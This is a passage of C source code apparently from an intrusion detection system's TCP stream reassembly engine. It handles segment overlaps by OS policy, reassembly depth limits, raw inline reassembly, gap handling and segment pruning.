if (SEQ_GT((seg->seq + seg->payload_len), list_seg->next->seq))
{
handle_beyond = TRUE;
}
} else {
fill_gap = TRUE;
}
SCLogDebug("fill_gap %s, handle_beyond %s", fill_gap?"TRUE":"FALSE",
handle_beyond?"TRUE":"FALSE");
if (fill_gap == TRUE) {
/* if there is a gap after this list_seg we fill it now with a
* new seg */
if (list_seg->next != NULL) {
SCLogDebug("filling gap: list_seg->next->seq %"PRIu32"",
list_seg->next?list_seg->next->seq:0);
packet_length = list_seg->next->seq - (list_seg->seq +
list_seg->payload_len);
} else {
packet_length = seg->payload_len - overlap;
}
if (packet_length > (seg->payload_len - overlap)) {
packet_length = seg->payload_len - overlap;
}
SCLogDebug("packet_length %"PRIu16"", packet_length);
TcpSegment *new_seg = StreamTcpGetSegment(tv, ra_ctx, packet_length);
if (new_seg == NULL) {
SCLogDebug("segment_pool[%"PRIu16"] is empty", segment_pool_idx[packet_length]);
StreamTcpSetEvent(p, STREAM_REASSEMBLY_NO_SEGMENT);
SCReturnInt(-1);
}
new_seg->payload_len = packet_length;
new_seg->seq = list_seg->seq + list_seg->payload_len;
new_seg->next = list_seg->next;
if (new_seg->next != NULL)
new_seg->next->prev = new_seg;
new_seg->prev = list_seg;
list_seg->next = new_seg;
SCLogDebug("new_seg %p, new_seg->next %p, new_seg->prev %p, "
"list_seg->next %p new_seg->seq %"PRIu32"", new_seg,
new_seg->next, new_seg->prev, list_seg->next,
new_seg->seq);
StreamTcpSegmentDataReplace(new_seg, seg, new_seg->seq,
new_seg->payload_len);
/* update the stream last_seg in case of removal of list_seg */
if (stream->seg_list_tail == list_seg)
stream->seg_list_tail = new_seg;
}
}
if (check_overlap_different_data &&
!StreamTcpSegmentDataCompare(list_seg, seg, seg->seq, overlap)) {
/* interesting, overlap with different data */
StreamTcpSetEvent(p, STREAM_REASSEMBLY_OVERLAP_DIFFERENT_DATA);
}
if (StreamTcpInlineMode()) {
if (StreamTcpInlineSegmentCompare(list_seg, seg) != 0) {
StreamTcpInlineSegmentReplacePacket(p, list_seg);
}
} else {
switch (os_policy) {
case OS_POLICY_SOLARIS:
case OS_POLICY_HPUX11:
if (end_after == TRUE) {
StreamTcpSegmentDataReplace(list_seg, seg, seg->seq, overlap);
} else {
SCLogDebug("using old data in starts beyond list case, "
"list_seg->seq %" PRIu32 " policy %" PRIu32 " "
"overlap %" PRIu32 "", list_seg->seq, os_policy,
overlap);
}
break;
case OS_POLICY_LAST:
StreamTcpSegmentDataReplace(list_seg, seg, seg->seq, overlap);
break;
case OS_POLICY_BSD:
case OS_POLICY_HPUX10:
case OS_POLICY_IRIX:
case OS_POLICY_WINDOWS:
case OS_POLICY_WINDOWS2K3:
case OS_POLICY_VISTA:
case OS_POLICY_OLD_LINUX:
case OS_POLICY_LINUX:
case OS_POLICY_MACOS:
case OS_POLICY_FIRST:
default: /* DEFAULT POLICY */
SCLogDebug("using old data in starts beyond list case, "
"list_seg->seq %" PRIu32 " policy %" PRIu32 " "
"overlap %" PRIu32 "", list_seg->seq, os_policy,
overlap);
break;
}
}
if (end_before == TRUE || end_same == TRUE || handle_beyond == FALSE) {
SCReturnInt(1);
}
}
SCReturnInt(0);
}
/**
* \brief check if stream in pkt direction has depth reached
*
* \param p packet with *LOCKED* flow
*
* \retval 1 stream has depth reached
* \retval 0 stream does not have depth reached
*/
int StreamTcpReassembleDepthReached(Packet *p)
{
if (p->flow != NULL && p->flow->protoctx != NULL) {
TcpSession *ssn = p->flow->protoctx;
TcpStream *stream;
if (p->flowflags & FLOW_PKT_TOSERVER) {
stream = &ssn->client;
} else {
stream = &ssn->server;
}
return (stream->flags & STREAMTCP_STREAM_FLAG_DEPTH_REACHED) ? 1 : 0;
}
return 0;
}
/**
* \internal
* \brief Function to Check the reassembly depth valuer against the
* allowed max depth of the stream reassmbly for TCP streams.
*
* \param stream stream direction
* \param seq sequence number where "size" starts
* \param size size of the segment that is added
*
* \retval size Part of the size that fits in the depth, 0 if none
*/
static uint32_t StreamTcpReassembleCheckDepth(TcpStream *stream,
uint32_t seq, uint32_t size)
{
SCEnter();
/* if the configured depth value is 0, it means there is no limit on
reassembly depth. Otherwise carry on my boy ;) */
if (stream_config.reassembly_depth == 0) {
SCReturnUInt(size);
}
/* if the final flag is set, we're not accepting anymore */
if (stream->flags & STREAMTCP_STREAM_FLAG_DEPTH_REACHED) {
SCReturnUInt(0);
}
/* if the ra_base_seq has moved passed the depth window we stop
* checking and just reject the rest of the packets including
* retransmissions. Saves us the hassle of dealing with sequence
* wraps as well */
if (SEQ_GEQ((StreamTcpReassembleGetRaBaseSeq(stream)+1),(stream->isn + stream_config.reassembly_depth))) {
stream->flags |= STREAMTCP_STREAM_FLAG_DEPTH_REACHED;
SCReturnUInt(0);
}
SCLogDebug("full Depth not yet reached: %"PRIu32" <= %"PRIu32,
(StreamTcpReassembleGetRaBaseSeq(stream)+1),
(stream->isn + stream_config.reassembly_depth));
if (SEQ_GEQ(seq, stream->isn) && SEQ_LT(seq, (stream->isn + stream_config.reassembly_depth))) {
/* packet (partly?) fits the depth window */
if (SEQ_LEQ((seq + size),(stream->isn + stream_config.reassembly_depth))) {
/* complete fit */
SCReturnUInt(size);
} else {
/* partial fit, return only what fits */
uint32_t part = (stream->isn + stream_config.reassembly_depth) - seq;
#if DEBUG
BUG_ON(part > size);
#else
if (part > size)
part = size;
#endif
SCReturnUInt(part);
}
}
SCReturnUInt(0);
}
static void StreamTcpStoreStreamChunk(TcpSession *ssn, StreamMsg *smsg, const Packet *p, int streaminline)
{
uint8_t direction = 0;
if ((!streaminline && (p->flowflags & FLOW_PKT_TOSERVER)) ||
( streaminline && (p->flowflags & FLOW_PKT_TOCLIENT)))
{
direction = STREAM_TOCLIENT;
SCLogDebug("stream chunk is to_client");
} else {
direction = STREAM_TOSERVER;
SCLogDebug("stream chunk is to_server");
}
/* store the smsg in the tcp stream */
if (direction == STREAM_TOSERVER) {
SCLogDebug("storing smsg in the to_server");
/* put the smsg in the stream list */
if (ssn->toserver_smsg_head == NULL) {
ssn->toserver_smsg_head = smsg;
ssn->toserver_smsg_tail = smsg;
smsg->next = NULL;
smsg->prev = NULL;
} else {
StreamMsg *cur = ssn->toserver_smsg_tail;
cur->next = smsg;
smsg->prev = cur;
smsg->next = NULL;
ssn->toserver_smsg_tail = smsg;
}
} else {
SCLogDebug("storing smsg in the to_client");
/* put the smsg in the stream list */
if (ssn->toclient_smsg_head == NULL) {
ssn->toclient_smsg_head = smsg;
ssn->toclient_smsg_tail = smsg;
smsg->next = NULL;
smsg->prev = NULL;
} else {
StreamMsg *cur = ssn->toclient_smsg_tail;
cur->next = smsg;
smsg->prev = cur;
smsg->next = NULL;
ssn->toclient_smsg_tail = smsg;
}
}
}
/**
* \brief Insert a packets TCP data into the stream reassembly engine.
*
* \retval 0 good segment, as far as we checked.
* \retval -1 badness, reason to drop in inline mode
*
* If the retval is 0 the segment is inserted correctly, or overlap is handled,
* or it wasn't added because of reassembly depth.
*
*/
int StreamTcpReassembleHandleSegmentHandleData(ThreadVars *tv, TcpReassemblyThreadCtx *ra_ctx,
TcpSession *ssn, TcpStream *stream, Packet *p)
{
SCEnter();
if (ssn->data_first_seen_dir == 0) {
if (p->flowflags & FLOW_PKT_TOSERVER) {
ssn->data_first_seen_dir = STREAM_TOSERVER;
} else {
ssn->data_first_seen_dir = STREAM_TOCLIENT;
}
}
/* If we have reached the defined depth for either of the stream, then stop
reassembling the TCP session */
uint32_t size = StreamTcpReassembleCheckDepth(stream, TCP_GET_SEQ(p), p->payload_len);
SCLogDebug("ssn %p: check depth returned %"PRIu32, ssn, size);
if (stream->flags & STREAMTCP_STREAM_FLAG_DEPTH_REACHED) {
/* increment stream depth counter */
SCPerfCounterIncr(ra_ctx->counter_tcp_stream_depth, tv->sc_perf_pca);
stream->flags |= STREAMTCP_STREAM_FLAG_NOREASSEMBLY;
SCLogDebug("ssn %p: reassembly depth reached, "
"STREAMTCP_STREAM_FLAG_NOREASSEMBLY set", ssn);
}
if (size == 0) {
SCLogDebug("ssn %p: depth reached, not reassembling", ssn);
SCReturnInt(0);
}
#if DEBUG
BUG_ON(size > p->payload_len);
#else
if (size > p->payload_len)
size = p->payload_len;
#endif
TcpSegment *seg = StreamTcpGetSegment(tv, ra_ctx, size);
if (seg == NULL) {
SCLogDebug("segment_pool[%"PRIu16"] is empty", segment_pool_idx[size]);
StreamTcpSetEvent(p, STREAM_REASSEMBLY_NO_SEGMENT);
SCReturnInt(-1);
}
memcpy(seg->payload, p->payload, size);
seg->payload_len = size;
seg->seq = TCP_GET_SEQ(p);
/* if raw reassembly is disabled for new segments, flag each
* segment as complete for raw before insert */
if (stream->flags & STREAMTCP_STREAM_FLAG_NEW_RAW_DISABLED) {
seg->flags |= SEGMENTTCP_FLAG_RAW_PROCESSED;
SCLogDebug("segment %p flagged with SEGMENTTCP_FLAG_RAW_PROCESSED, "
"flags %02x", seg, seg->flags);
}
/* proto detection skipped, but now we do get data. Set event. */
if (stream->seg_list == NULL &&
stream->flags & STREAMTCP_STREAM_FLAG_APPPROTO_DETECTION_SKIPPED) {
AppLayerDecoderEventsSetEventRaw(&p->app_layer_events,
APPLAYER_PROTO_DETECTION_SKIPPED);
}
if (StreamTcpReassembleInsertSegment(tv, ra_ctx, stream, seg, p) != 0) {
SCLogDebug("StreamTcpReassembleInsertSegment failed");
SCReturnInt(-1);
}
SCReturnInt(0);
}
static uint8_t StreamGetAppLayerFlags(TcpSession *ssn, TcpStream *stream,
Packet *p)
{
uint8_t flag = 0;
if (!(stream->flags & STREAMTCP_STREAM_FLAG_APPPROTO_DETECTION_COMPLETED)) {
flag |= STREAM_START;
}
if (ssn->state == TCP_CLOSED) {
flag |= STREAM_EOF;
}
if (p->flags & PKT_PSEUDO_STREAM_END) {
flag |= STREAM_EOF;
}
if (StreamTcpInlineMode() == 0) {
if (p->flowflags & FLOW_PKT_TOSERVER) {
flag |= STREAM_TOCLIENT;
} else {
flag |= STREAM_TOSERVER;
}
} else {
if (p->flowflags & FLOW_PKT_TOSERVER) {
flag |= STREAM_TOSERVER;
} else {
flag |= STREAM_TOCLIENT;
}
}
if (stream->flags & STREAMTCP_STREAM_FLAG_DEPTH_REACHED) {
flag |= STREAM_DEPTH;
}
return flag;
}
static void StreamTcpSetupMsg(TcpSession *ssn, TcpStream *stream, Packet *p,
StreamMsg *smsg)
{
SCEnter();
smsg->data_len = 0;
SCLogDebug("smsg %p", smsg);
SCReturn;
}
/**
* \brief Check the minimum size limits for reassembly.
*
* \retval 0 don't reassemble yet
* \retval 1 do reassemble
*/
static int StreamTcpReassembleRawCheckLimit(TcpSession *ssn, TcpStream *stream,
Packet *p)
{
SCEnter();
if (stream->flags & STREAMTCP_STREAM_FLAG_NOREASSEMBLY) {
SCLogDebug("reassembling now as STREAMTCP_STREAM_FLAG_NOREASSEMBLY is set, so not expecting any new packets");
SCReturnInt(1);
}
if (ssn->flags & STREAMTCP_FLAG_TRIGGER_RAW_REASSEMBLY) {
SCLogDebug("reassembling now as STREAMTCP_FLAG_TRIGGER_RAW_REASSEMBLY is set");
ssn->flags &= ~STREAMTCP_FLAG_TRIGGER_RAW_REASSEMBLY;
SCReturnInt(1);
}
if (stream->flags & STREAMTCP_STREAM_FLAG_NEW_RAW_DISABLED) {
SCLogDebug("reassembling now as STREAMTCP_STREAM_FLAG_NEW_RAW_DISABLED is set, "
"so no new segments will be considered");
SCReturnInt(1);
}
/* some states mean we reassemble no matter how much data we have */
if (ssn->state >= TCP_TIME_WAIT)
SCReturnInt(1);
if (p->flags & PKT_PSEUDO_STREAM_END)
SCReturnInt(1);
/* check if we have enough data to send to L7 */
if (p->flowflags & FLOW_PKT_TOCLIENT) {
SCLogDebug("StreamMsgQueueGetMinChunkLen(STREAM_TOSERVER) %"PRIu32,
StreamMsgQueueGetMinChunkLen(FLOW_PKT_TOSERVER));
if (StreamMsgQueueGetMinChunkLen(FLOW_PKT_TOSERVER) >
(stream->last_ack - stream->ra_raw_base_seq)) {
SCLogDebug("toserver min chunk len not yet reached: "
"last_ack %"PRIu32", ra_raw_base_seq %"PRIu32", %"PRIu32" < "
"%"PRIu32"", stream->last_ack, stream->ra_raw_base_seq,
(stream->last_ack - stream->ra_raw_base_seq),
StreamMsgQueueGetMinChunkLen(FLOW_PKT_TOSERVER));
SCReturnInt(0);
}
} else {
SCLogDebug("StreamMsgQueueGetMinChunkLen(STREAM_TOCLIENT) %"PRIu32,
StreamMsgQueueGetMinChunkLen(FLOW_PKT_TOCLIENT));
if (StreamMsgQueueGetMinChunkLen(FLOW_PKT_TOCLIENT) >
(stream->last_ack - stream->ra_raw_base_seq)) {
SCLogDebug("toclient min chunk len not yet reached: "
"last_ack %"PRIu32", ra_base_seq %"PRIu32", %"PRIu32" < "
"%"PRIu32"", stream->last_ack, stream->ra_raw_base_seq,
(stream->last_ack - stream->ra_raw_base_seq),
StreamMsgQueueGetMinChunkLen(FLOW_PKT_TOCLIENT));
SCReturnInt(0);
}
}
SCReturnInt(1);
}
/**
* \brief see if app layer is done with a segment
*
* \retval 1 app layer is done with this segment
* \retval 0 not done yet
*/
#define StreamTcpAppLayerSegmentProcessed(stream, segment) \
(( ( (stream)->flags & STREAMTCP_STREAM_FLAG_GAP ) || \
( (segment)->flags & SEGMENTTCP_FLAG_APPLAYER_PROCESSED ) ? 1 :0 ))
/** \internal
* \brief check if we can remove a segment from our segment list
*
* If a segment is entirely before the oldest smsg, we can discard it. Otherwise
* we keep it around to be able to log it.
*
* \retval 1 yes
* \retval 0 no
*/
static inline int StreamTcpReturnSegmentCheck(const Flow *f, TcpSession *ssn, TcpStream *stream, TcpSegment *seg)
{
if (stream == &ssn->client && ssn->toserver_smsg_head != NULL) {
/* not (seg is entirely before first smsg, skip) */
if (!(SEQ_LEQ(seg->seq + seg->payload_len, ssn->toserver_smsg_head->seq))) {
SCReturnInt(0);
}
} else if (stream == &ssn->server && ssn->toclient_smsg_head != NULL) {
/* not (seg is entirely before first smsg, skip) */
if (!(SEQ_LEQ(seg->seq + seg->payload_len, ssn->toclient_smsg_head->seq))) {
SCReturnInt(0);
}
}
/* if proto detect isn't done, we're not returning */
if (!(StreamTcpIsSetStreamFlagAppProtoDetectionCompleted(stream))) {
SCReturnInt(0);
}
/* check app layer conditions */
if (!(f->flags & FLOW_NO_APPLAYER_INSPECTION)) {
if (!(StreamTcpAppLayerSegmentProcessed(stream, seg))) {
SCReturnInt(0);
}
}
/* check raw reassembly conditions */
if (!(seg->flags & SEGMENTTCP_FLAG_RAW_PROCESSED)) {
SCReturnInt(0);
}
SCReturnInt(1);
}
static void StreamTcpRemoveSegmentFromStream(TcpStream *stream, TcpSegment *seg)
{
if (seg->prev == NULL) {
stream->seg_list = seg->next;
if (stream->seg_list != NULL)
stream->seg_list->prev = NULL;
} else {
seg->prev->next = seg->next;
if (seg->next != NULL)
seg->next->prev = seg->prev;
}
if (stream->seg_list_tail == seg)
stream->seg_list_tail = seg->prev;
}
/**
* \brief Update the stream reassembly upon receiving a data segment
*
* | left edge | right edge based on sliding window size
* [aaa]
* [aaabbb]
* ...
* [aaabbbcccdddeeefff]
* [bbbcccdddeeefffggg] <- cut off aaa to adhere to the window size
*
* GAP situation: each chunk that is uninterrupted has it's own smsg
* [aaabbb].[dddeeefff]
* [aaa].[ccc].[eeefff]
*
* A flag will be set to indicate where the *NEW* payload starts. This
* is to aid the detection code for alert only sigs.
*
* \todo this function is too long, we need to break it up. It needs it BAD
*/
static int StreamTcpReassembleInlineRaw (TcpReassemblyThreadCtx *ra_ctx,
TcpSession *ssn, TcpStream *stream, Packet *p)
{
SCEnter();
SCLogDebug("start p %p, seq %"PRIu32, p, TCP_GET_SEQ(p));
if (ssn->flags & STREAMTCP_FLAG_DISABLE_RAW)
SCReturnInt(0);
if (stream->seg_list == NULL) {
SCReturnInt(0);
}
uint32_t ra_base_seq = stream->ra_raw_base_seq;
StreamMsg *smsg = NULL;
uint16_t smsg_offset = 0;
uint16_t payload_offset = 0;
uint16_t payload_len = 0;
TcpSegment *seg = stream->seg_list;
uint32_t next_seq = ra_base_seq + 1;
int gap = 0;
uint16_t chunk_size = PKT_IS_TOSERVER(p) ?
stream_config.reassembly_toserver_chunk_size :
stream_config.reassembly_toclient_chunk_size;
/* determine the left edge and right edge */
uint32_t right_edge = TCP_GET_SEQ(p) + p->payload_len;
uint32_t left_edge = right_edge - chunk_size;
/* shift the window to the right if the left edge doesn't cover segments */
if (SEQ_GT(seg->seq,left_edge)) {
right_edge += (seg->seq - left_edge);
left_edge = seg->seq;
}
SCLogDebug("left_edge %"PRIu32", right_edge %"PRIu32, left_edge, right_edge);
/* loop through the segments and fill one or more msgs */
for (; seg != NULL && SEQ_LT(seg->seq, right_edge); ) {
SCLogDebug("seg %p", seg);
/* If packets are fully before ra_base_seq, skip them. We do this
* because we've reassembled up to the ra_base_seq point already,
* so we won't do anything with segments before it anyway. */
SCLogDebug("checking for pre ra_base_seq %"PRIu32" seg %p seq %"PRIu32""
" len %"PRIu16", combined %"PRIu32" and right_edge "
"%"PRIu32"", ra_base_seq, seg, seg->seq,
seg->payload_len, seg->seq+seg->payload_len, right_edge);
/* Remove the segments which are completely before the ra_base_seq */
if (SEQ_LT((seg->seq + seg->payload_len), (ra_base_seq - chunk_size)))
{
SCLogDebug("removing pre ra_base_seq %"PRIu32" seg %p seq %"PRIu32""
" len %"PRIu16"", ra_base_seq, seg, seg->seq,
seg->payload_len);
/* only remove if app layer reassembly is ready too */
if (StreamTcpAppLayerSegmentProcessed(stream, seg)) {
TcpSegment *next_seg = seg->next;
StreamTcpRemoveSegmentFromStream(stream, seg);
StreamTcpSegmentReturntoPool(seg);
seg = next_seg;
/* otherwise, just flag it for removal */
} else {
seg->flags |= SEGMENTTCP_FLAG_RAW_PROCESSED;
seg = seg->next;
}
continue;
}
/* if app layer protocol has been detected, then remove all the segments
* which has been previously processed and reassembled
*
* If the stream is in GAP state the app layer flag won't be set */
if (StreamTcpIsSetStreamFlagAppProtoDetectionCompleted(stream) &&
(seg->flags & SEGMENTTCP_FLAG_RAW_PROCESSED) &&
StreamTcpAppLayerSegmentProcessed(stream, seg))
{
SCLogDebug("segment(%p) of length %"PRIu16" has been processed,"
" so return it to pool", seg, seg->payload_len);
TcpSegment *next_seg = seg->next;
StreamTcpRemoveSegmentFromStream(stream, seg);
StreamTcpSegmentReturntoPool(seg);
seg = next_seg;
continue;
}
/* we've run into a sequence gap, wrap up any existing smsg and
* queue it so the next chunk (if any) is in a new smsg */
if (SEQ_GT(seg->seq, next_seq)) {
/* pass on pre existing smsg (if any) */
if (smsg != NULL && smsg->data_len > 0) {
StreamTcpStoreStreamChunk(ssn, smsg, p, 1);
stream->ra_raw_base_seq = ra_base_seq;
smsg = NULL;
}
gap = 1;
}
/* if the segment ends beyond left_edge we need to consider it */
if (SEQ_GT((seg->seq + seg->payload_len), left_edge)) {
SCLogDebug("seg->seq %" PRIu32 ", seg->payload_len %" PRIu32 ", "
"left_edge %" PRIu32 "", seg->seq,
seg->payload_len, left_edge);
/* handle segments partly before ra_base_seq */
if (SEQ_GT(left_edge, seg->seq)) {
payload_offset = left_edge - seg->seq;
if (SEQ_LT(right_edge, (seg->seq + seg->payload_len))) {
payload_len = (right_edge - seg->seq) - payload_offset;
} else {
payload_len = seg->payload_len - payload_offset;
}
if (SCLogDebugEnabled()) {
BUG_ON(payload_offset > seg->payload_len);
BUG_ON((payload_len + payload_offset) > seg->payload_len);
}
} else {
payload_offset = 0;
if (SEQ_LT(right_edge, (seg->seq + seg->payload_len))) {
payload_len = right_edge - seg->seq;
} else {
payload_len = seg->payload_len;
}
}
SCLogDebug("payload_offset is %"PRIu16", payload_len is %"PRIu16""
" and stream->last_ack is %"PRIu32"", payload_offset,
payload_len, stream->last_ack);
if (payload_len == 0) {
SCLogDebug("no payload_len, so bail out");
break;
}
if (smsg == NULL) {
smsg = StreamMsgGetFromPool();
if (smsg == NULL) {
SCLogDebug("stream_msg_pool is empty");
return -1;
}
smsg_offset = 0;
StreamTcpSetupMsg(ssn, stream, p, smsg);
smsg->seq = ra_base_seq + 1;
}
/* copy the data into the smsg */
uint16_t copy_size = sizeof (smsg->data) - smsg_offset;
if (copy_size > payload_len) {
copy_size = payload_len;
}
if (SCLogDebugEnabled()) {
BUG_ON(copy_size > sizeof(smsg->data));
}
SCLogDebug("copy_size is %"PRIu16"", copy_size);
memcpy(smsg->data + smsg_offset, seg->payload + payload_offset,
copy_size);
smsg_offset += copy_size;
SCLogDebug("seg total %u, seq %u off %u copy %u, ra_base_seq %u",
(seg->seq + payload_offset + copy_size), seg->seq,
payload_offset, copy_size, ra_base_seq);
if (gap == 0 && SEQ_GT((seg->seq + payload_offset + copy_size),ra_base_seq+1)) {
ra_base_seq += copy_size;
}
SCLogDebug("ra_base_seq %"PRIu32, ra_base_seq);
smsg->data_len += copy_size;
/* queue the smsg if it's full */
if (smsg->data_len == sizeof (smsg->data)) {
StreamTcpStoreStreamChunk(ssn, smsg, p, 1);
stream->ra_raw_base_seq = ra_base_seq;
smsg = NULL;
}
/* if the payload len is bigger than what we copied, we handle the
* rest of the payload next... */
if (copy_size < payload_len) {
SCLogDebug("copy_size %" PRIu32 " < %" PRIu32 "", copy_size,
payload_len);
payload_offset += copy_size;
payload_len -= copy_size;
SCLogDebug("payload_offset is %"PRIu16", seg->payload_len is "
"%"PRIu16" and stream->last_ack is %"PRIu32"",
payload_offset, seg->payload_len, stream->last_ack);
if (SCLogDebugEnabled()) {
BUG_ON(payload_offset > seg->payload_len);
}
/* we need a while loop here as the packets theoretically can be
* 64k */
char segment_done = FALSE;
while (segment_done == FALSE) {
SCLogDebug("new msg at offset %" PRIu32 ", payload_len "
"%" PRIu32 "", payload_offset, payload_len);
/* get a new message
XXX we need a setup function */
smsg = StreamMsgGetFromPool();
if (smsg == NULL) {
SCLogDebug("stream_msg_pool is empty");
SCReturnInt(-1);
}
smsg_offset = 0;
StreamTcpSetupMsg(ssn, stream,p,smsg);
smsg->seq = ra_base_seq + 1;
copy_size = sizeof(smsg->data) - smsg_offset;
if (copy_size > (seg->payload_len - payload_offset)) {
copy_size = (seg->payload_len - payload_offset);
}
if (SCLogDebugEnabled()) {
BUG_ON(copy_size > sizeof(smsg->data));
}
SCLogDebug("copy payload_offset %" PRIu32 ", smsg_offset "
"%" PRIu32 ", copy_size %" PRIu32 "",
payload_offset, smsg_offset, copy_size);
memcpy(smsg->data + smsg_offset, seg->payload +
payload_offset, copy_size);
smsg_offset += copy_size;
if (gap == 0 && SEQ_GT((seg->seq + payload_offset + copy_size),ra_base_seq+1)) {
ra_base_seq += copy_size;
}
SCLogDebug("ra_base_seq %"PRIu32, ra_base_seq);
smsg->data_len += copy_size;
SCLogDebug("copied payload_offset %" PRIu32 ", "
"smsg_offset %" PRIu32 ", copy_size %" PRIu32 "",
payload_offset, smsg_offset, copy_size);
if (smsg->data_len == sizeof (smsg->data)) {
StreamTcpStoreStreamChunk(ssn, smsg, p, 1);
stream->ra_raw_base_seq = ra_base_seq;
smsg = NULL;
}
/* see if we have segment payload left to process */
if ((copy_size + payload_offset) < seg->payload_len) {
payload_offset += copy_size;
payload_len -= copy_size;
if (SCLogDebugEnabled()) {
BUG_ON(payload_offset > seg->payload_len);
}
} else {
payload_offset = 0;
segment_done = TRUE;
}
}
}
}
/* done with this segment, return it to the pool */
TcpSegment *next_seg = seg->next;
next_seq = seg->seq + seg->payload_len;
if (SEQ_LT((seg->seq + seg->payload_len), (ra_base_seq - chunk_size))) {
if (seg->flags & SEGMENTTCP_FLAG_APPLAYER_PROCESSED) {
StreamTcpRemoveSegmentFromStream(stream, seg);
SCLogDebug("removing seg %p, seg->next %p", seg, seg->next);
StreamTcpSegmentReturntoPool(seg);
} else {
seg->flags |= SEGMENTTCP_FLAG_RAW_PROCESSED;
}
}
seg = next_seg;
}
/* put the partly filled smsg in the queue */
if (smsg != NULL) {
StreamTcpStoreStreamChunk(ssn, smsg, p, 1);
smsg = NULL;
stream->ra_raw_base_seq = ra_base_seq;
}
/* see if we can clean up some segments */
left_edge = (ra_base_seq + 1) - chunk_size;
SCLogDebug("left_edge %"PRIu32", ra_base_seq %"PRIu32, left_edge, ra_base_seq);
/* loop through the segments to remove unneeded segments */
for (seg = stream->seg_list; seg != NULL && SEQ_LEQ((seg->seq + p->payload_len), left_edge); ) {
SCLogDebug("seg %p seq %"PRIu32", len %"PRIu16", sum %"PRIu32, seg, seg->seq, seg->payload_len, seg->seq+seg->payload_len);
/* only remove if app layer reassembly is ready too */
if (StreamTcpAppLayerSegmentProcessed(stream, seg)) {
TcpSegment *next_seg = seg->next;
StreamTcpRemoveSegmentFromStream(stream, seg);
StreamTcpSegmentReturntoPool(seg);
seg = next_seg;
} else {
break;
}
}
SCLogDebug("stream->ra_raw_base_seq %u", stream->ra_raw_base_seq);
SCReturnInt(0);
}
/** \brief Remove idle TcpSegments from TcpSession
*
* \param f flow
* \param flags direction flags
*/
void StreamTcpPruneSession(Flow *f, uint8_t flags)
{
if (f == NULL || f->protoctx == NULL)
return;
TcpSession *ssn = f->protoctx;
TcpStream *stream = NULL;
if (flags & STREAM_TOSERVER) {
stream = &ssn->client;
} else if (flags & STREAM_TOCLIENT) {
stream = &ssn->server;
} else {
return;
}
/* loop through the segments and fill one or more msgs */
TcpSegment *seg = stream->seg_list;
for (; seg != NULL && SEQ_LT(seg->seq, stream->last_ack);)
{
SCLogDebug("seg %p, SEQ %"PRIu32", LEN %"PRIu16", SUM %"PRIu32", FLAGS %02x",
seg, seg->seq, seg->payload_len,
(uint32_t)(seg->seq + seg->payload_len), seg->flags);
if (StreamTcpReturnSegmentCheck(f, ssn, stream, seg) == 0) {
break;
}
TcpSegment *next_seg = seg->next;
StreamTcpRemoveSegmentFromStream(stream, seg);
StreamTcpSegmentReturntoPool(seg);
seg = next_seg;
continue;
}
}
#ifdef DEBUG
static uint64_t GetStreamSize(TcpStream *stream)
{
if (stream) {
uint64_t size = 0;
uint32_t cnt = 0;
TcpSegment *seg = stream->seg_list;
while (seg) {
cnt++;
size += (uint64_t)seg->payload_len;
seg = seg->next;
}
SCLogDebug("size %"PRIu64", cnt %"PRIu32, size, cnt);
return size;
}
return (uint64_t)0;
}
static void GetSessionSize(TcpSession *ssn, Packet *p)
{
uint64_t size = 0;
if (ssn) {
size = GetStreamSize(&ssn->client);
size += GetStreamSize(&ssn->server);
//if (size > 900000)
// SCLogInfo("size %"PRIu64", packet %"PRIu64, size, p->pcap_cnt);
SCLogDebug("size %"PRIu64", packet %"PRIu64, size, p->pcap_cnt);
}
}
#endif
typedef struct ReassembleData_ {
uint32_t ra_base_seq;
uint32_t data_len;
uint8_t data[4096];
int partial; /* last segment was processed only partially */
uint32_t data_sent; /* data passed on this run */
} ReassembleData;
/** \internal
* \brief test if segment follows a gap. If so, handle the gap
*
* If in inline mode, segment may be un-ack'd. In this case we
* consider it a gap, but it's not 'final' yet.
*
* \retval bool 1 gap 0 no gap
*/
int DoHandleGap(ThreadVars *tv, TcpReassemblyThreadCtx *ra_ctx,
TcpSession *ssn, TcpStream *stream, TcpSegment *seg, ReassembleData *rd,
Packet *p, uint32_t next_seq)
{
if (unlikely(SEQ_GT(seg->seq, next_seq))) {
/* we've run into a sequence gap */
if (StreamTcpInlineMode()) {
/* don't conclude it's a gap until we see that the data
* that is missing was acked. */
if (SEQ_GT(seg->seq,stream->last_ack) && ssn->state != TCP_CLOSED)
return 1;
}
/* first, pass on data before the gap */
if (rd->data_len > 0) {
SCLogDebug("pre GAP data");
/* process what we have so far */
AppLayerHandleTCPData(tv, ra_ctx, p, p->flow, ssn, stream,
rd->data, rd->data_len,
StreamGetAppLayerFlags(ssn, stream, p));
AppLayerProfilingStore(ra_ctx->app_tctx, p);
rd->data_sent += rd->data_len;
rd->data_len = 0;
}
#ifdef DEBUG
uint32_t gap_len = seg->seq - next_seq;
SCLogDebug("expected next_seq %" PRIu32 ", got %" PRIu32 " , "
"stream->last_ack %" PRIu32 ". Seq gap %" PRIu32"",
next_seq, seg->seq, stream->last_ack, gap_len);
#endif
/* We have missed the packet and end host has ack'd it, so
* IDS should advance it's ra_base_seq and should not consider this
* packet any longer, even if it is retransmitted, as end host will
* drop it anyway */
rd->ra_base_seq = seg->seq - 1;
/* send gap "signal" */
AppLayerHandleTCPData(tv, ra_ctx, p, p->flow, ssn, stream,
NULL, 0, StreamGetAppLayerFlags(ssn, stream, p)|STREAM_GAP);
AppLayerProfilingStore(ra_ctx->app_tctx, p);
/* set a GAP flag and make sure not bothering this stream anymore */
SCLogDebug("STREAMTCP_STREAM_FLAG_GAP set");
stream->flags |= STREAMTCP_STREAM_FLAG_GAP;
StreamTcpSetEvent(p, STREAM_REASSEMBLY_SEQ_GAP);
SCPerfCounterIncr(ra_ctx->counter_tcp_reass_gap, tv->sc_perf_pca);
#ifdef DEBUG
dbg_app_layer_gap++;
#endif
return 1;
}
return 0;
}
static inline int DoReassemble(ThreadVars *tv, TcpReassemblyThreadCtx *ra_ctx,
TcpSession *ssn, TcpStream *stream, TcpSegment *seg, ReassembleData *rd,
Packet *p)
{
/* fast path 1: segment is exactly what we need */
if (likely(rd->data_len == 0 &&
SEQ_EQ(seg->seq, rd->ra_base_seq+1) &&
SEQ_EQ(stream->last_ack, (seg->seq + seg->payload_len))))
{
/* process single segment directly */
AppLayerHandleTCPData(tv, ra_ctx, p, p->flow, ssn, stream,
seg->payload, seg->payload_len,
StreamGetAppLayerFlags(ssn, stream, p));
AppLayerProfilingStore(ra_ctx->app_tctx, p);
rd->data_sent += seg->payload_len;
rd->ra_base_seq += seg->payload_len;
#ifdef DEBUG
ra_ctx->fp1++;
